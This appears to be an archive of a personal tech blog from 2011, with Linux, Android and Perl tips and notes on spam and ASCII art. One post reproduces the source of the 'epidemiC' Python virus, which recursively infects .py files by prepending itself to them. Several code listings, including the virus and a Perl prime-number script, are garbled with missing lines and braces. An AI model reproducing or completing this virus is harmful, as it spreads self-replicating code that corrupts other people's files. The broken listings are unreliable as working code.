Friday, June 10, 2011

Becoming a good computer engineer

A fun yet good read on how to improve your computer skills.

Seven steps to become a world class computer engineer:

Saturday, June 4, 2011


Here's a list of Email Spam by Topic that I picked up from Wikipedia:

EMail Spam by Topic
Weight Loss0.40%

A good article about the end of one of the big spammers
Can you believe he sent about 25 million emails a day?

Friday, June 3, 2011

First virus in python

This is something I read long ago. First virus created using python created not to harm people but to show that python's potential.

Web page for the virus:

The source code is

# _ go         to  49th Biennale di Venezia
HTTP://WWW.0100101110101101.ORG  [epidemiC]
from dircache import *
from string import *
import os, sys
from stat import *

def fornicate(guest):
       soul = open(guest, "r")
       body =
       if find(body, "[epidemiC]") == -1:
           soul = open(guest, "w")
           soul.write(mybody + "\n\n" + body)
   except IOError: pass      

def chat(party, guest):
   if split(guest, ".")[-1] in ("py", "pyw"):
       fornicate(party + guest)

def join(party):
       if not S_ISLNK(os.stat(party)[ST_MODE]):
           guestbook = listdir(party)
           if party != "/": party = party + "/"
           if not lower(party) in wank and not ".py" in guestbook:
               for guest in guestbook:
                   chat(party, guest)
                   join(party + guest)
   except OSError: pass
if  == '':
       mysoul = open(sys.argv[0])
       mybody =
       mybody = mybody[:find(mybody, "#"*3) + 3]
       blacklist = replace(split(sys.exec_prefix,":")[-1], "\\", "/")
       if blacklist[-1] != "/": blacklist = blacklist + "/"
       wank = [lower(blacklist), "/proc/", "/dev/"]
       print ">      This file was contaminated by, the world slowest virus."
       print "Either Linux or Windows, is definetely the first Python virus."
       print "[epidemiC]  HTTP://WWW.0100101110101101.ORG "
       print ">  <"

Friday, May 13, 2011

New Blog

Hi guys,

Just started another blog

Why a new blog?
1. This blog is about technical only. The will be about everything.
2. I wanted to try wordpress.
3. This blog is blocked at my office.

You never update this blog, do you think you will update the new one?
Yeah that's kind of true. Let's see what happens.

Tuesday, May 10, 2011


What is ASCII Arts?

There are some websites with wonderful contents like

There are many other websites that allow you to create signatures using ASCII Arts.
Yeah they are cool, but have your heard of JavE??

It is a small cool software that allows you to draw your ascii arts by yourself. Its like using Ms-Paint. It is really simple. It allows usage of many fonts and the collection can be expanded with downloadable font library (they call it Figlet).

It also allows converting an image into ascii art and creating animations.

It is a freeware. They have pointed on their website that it will shift to GPL license making it opensource but it hasn't happened for sometime.

Go ahead and try it out:

Tuesday, April 26, 2011

Money Speech

Have you read the "Atlas Shrugged" by Ayn Rand? Well, I'm sad I never finished because of my neck issue. But I kept remembering a speech on Money by one of the lead characters. It really puts all I think and agree about money. I'm sure most people I know/like will agree with me. You can read it here

Saturday, April 16, 2011

Fixing Hindi on Android

Recently I rooted and moded my Spica to Android 2.2 froyo by Cyanogenmod but it looks like they haven't put much thought to Hindi/Nepali fonts.
Even earlier the vowel signs were all messed up.

But I couldn't find any fix for this instead I found a work around in opera mini.

First let me tell you one thing, opera mini is a must app.

Open opera mini, in the address bar type


In the bottom, there is an option

Use bitmap fonts for complex fonts

Set it to YES

And it will work only in opera mini. Well something is better than nothing.

Tuesday, April 12, 2011

Upside down skype video on Fedora 14 64bit

Yes that happens on my laptop:

Laptop: Asus K40AB
Web-cam: Chicony CNF7129

It seems Asus mounted the camera upside down in the laptop. The windows driver internally inverts the image and displays it.

Here's a simple trick that I learnt from the ubuntu forums.
If you run skype with:

LD_PRELOAD=/usr/lib/libv4l/ /usr/bin/skype
It fixes the issue. But running it that way always isn't a fun.

There are two things to fix this situation:

1. The boring way: Create a shortcut on the desktop, with the above line as the executing application. This fixes the issue for only one user and cannot be invoked by the run command.

2. The fun way:
i. Log in to the super user
$ su
Enter the password
ii. Go to /usr/bin
# cd /usr/bin
iii. Rename skype to skype.main
# mv skype skype.main
iv. Create a new file skype with the below content:
LD_PRELOAD=/usr/lib/libv4l/ /usr/bin/skype.main
# echo "LD_PRELOAD=/usr/lib/libv4l/ /usr/bin/skype.main" > skype
v. Make the new skype executable
# chmod 755 skype

And you are done. Now running skype will call the above script which has a fix thus the video is displayed correctly.

Still facing an issue? Post a comment.

Update: having issues with LD_PRELOAD, check updated article on my new blog here.

Sunday, April 10, 2011

No sound through headphones in Fedora 14

Sometimes there is no audio from the headphones. In that case, open a terminal, run alsamixer, i.e.

$ alsamixer

The alsamixer window is displayed.
Press F6 button and select "HDA ATI SB" from the list of sound cards and press enter.

Check that none of the mixers are mute (MM is shown below them if they are mute). If none are mute and are at high level but still you can hear no sound, go to the Front Mic, press up-arrow key and then the down-arrow key.

This works for me all the time.

Still have a problem, drop a comment.

Thursday, April 7, 2011

Tuesday, March 1, 2011

Prime Number in Perl with a twist

Just a few days ago, I learned that all prime numbers > 3 can be represented as multiple of 6 +1 or -1.

So here's a code in perl to find nth prime number.


print "Enter the number: ";
chomp($num = <>);
$i = 3;
$no_of_prime = 3;
$prime = 0;
if ($num == 1)
print "1st prime is 2 \n";
elsif ($num == 2)
print "2nd prime is 3 \n";
elsif ($num > 2)
$index = 1;
$powindex = 1;
$no_of_prime = 2;
while($no_of_prime < $num)
$prime = (6 * $index) + ((-1) ** $powindex);
$j = 2;
$is_prime = 1;
while($j <= ($prime ** 0.5))
if(($prime % $j) == 0)
$is_prime = 0;
$j = $j + 1;

if ($is_prime == 1)

if(($powindex % 2) == 0)
$index = $index + 1;

$powindex = $powindex + 1;
print $num, "th prime is: ", $prime, "\n";
print "Invalid number\n";

Monday, February 28, 2011

USB Tethering SPICA on fedora

I just usb tethered SPICA on fedora 14.

Here's what I did (could be ugly than other tutorial but works)
But before that, the following helped me. <-- Better read this site, than the below thing.

Part 1: Install the driver:
1. Create a new file /etc/udev/rules.d/51-android.rules
vi /etc/udev/rules.d/51-android.rules
2. Copy and paste the below line
SUBSYSTEM=="usb", SYSFS{idVendor}=="04e8", MODE="0666"
3. Then in the terminal type:
chmod a+r /etc/udev/rules.d/51-android.rules

Part 2: Install the ADB:
1. Download the Android SDK. It is a .tgz file, extract it.
2. On the terminal go to the extracted folder. It has a sub-folder, tools. Go to tools/
3. Run ./android
4. A GUI comes up, on the left panel select "Avaiable Package".
5. Select "SDK Platform Android 1.5, API 3" from it and click on Install selected. Next Accept the license.
6. Now go to the /platform-tools/
7. Just to test adb is working, try
./adb shell
It should open a shell. That is actually your phone. If it didn't work, try reading the above links. Or try
./adb devices
This will show the device connected.
I got the following:
List of devices attached
5700db4ac5a1 device

My device is a Samsung Spica 5700

Part 3: azilink to tether:
Now install the azilink to your phone. Simply type
./adb install /azilink-2.0.2.apk

Follow the above given blog.

Tuesday, January 25, 2011

Mount windows shared drive

Here's a command I keep forgetting.
In order to mount a windows shared folder just try this with root access:

mount -t cifs -o username=Windows-username //ip-of-windows/shared-folder-name /mount/point

And you've got it

For passwords:
mount -t cifs -o username=Windows-username,password=password //ip-of-windows/shared-folder-name /mount/point

Here's a wonderful link: